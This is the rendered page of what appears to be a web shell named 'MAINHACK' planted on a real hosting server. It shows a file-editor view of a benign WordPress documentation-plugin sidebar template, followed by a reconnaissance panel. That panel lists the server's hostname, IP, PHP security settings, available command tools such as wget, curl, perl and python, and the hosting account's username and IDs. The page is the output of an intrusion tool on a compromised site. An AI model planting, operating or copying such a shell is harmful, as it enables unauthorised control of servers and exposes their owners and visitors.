[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sidebar.php
File is not writable. Editing disabled.
<?php /** * Single docs sidebar template * * This template can be overridden by copying it to yourtheme/documentor/single/sidebar.php. * * @author softaculous * @package documentor/Templates * @version 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } // phpcs:ignore $show_parents = documentor()->get_option( 'sidebar_show_nav_parents', 'documentor_single', false ); ?> <div class="documentor-single-sidebar"> <div class="documentor-single-sidebar-wrap"> <?php if ( documentor()->get_option( 'sidebar_show_search', 'documentor_single', true ) ) : ?> <form role="search" method="get" class="documentor-search-form" action="<?php echo esc_url( home_url( '/' ) ); ?>"> <input type="search" class="documentor-search-field" placeholder="<?php echo esc_attr__( 'Type to search', 'documentor' ); ?>" value="<?php echo get_search_query(); ?>" name="s" autocomplete="off"> <input type="hidden" name="post_type" value="docs"> <?php if ( ! $show_parents ) : ?> <input type="hidden" name="child_of" value="<?php echo esc_attr( documentor()->get_current_doc_id() ); ?>"> <?php endif; ?> </form> <div class="documentor-search-form-result"></div> <?php endif; ?> <?php // phpcs:ignore $nav_list = wp_list_pages( array( 'title_li' => '', 'order' => 'menu_order', 'child_of' => $show_parents ? 0 : documentor()->get_current_doc_id(), 'echo' => false, 'post_type' => 'docs', 'walker' => new Documentor_Walker_Docs(), ) ); if ( $nav_list ) { // phpcs:ignore $show_childs = documentor()->get_option( 'sidebar_show_nav_childs', 'documentor_single', false ); ?> <a class="documentor-sidebar-toggler"><i class="fas fa-times"></i></a> <ul class="documentor-nav-list<?php echo ( $show_childs ? ' documentor-nav-list-show-childs' : '' ); ?>"> <?php // phpcs:ignore echo $nav_list; ?> </ul> <?php } ?> </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.25 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: N/A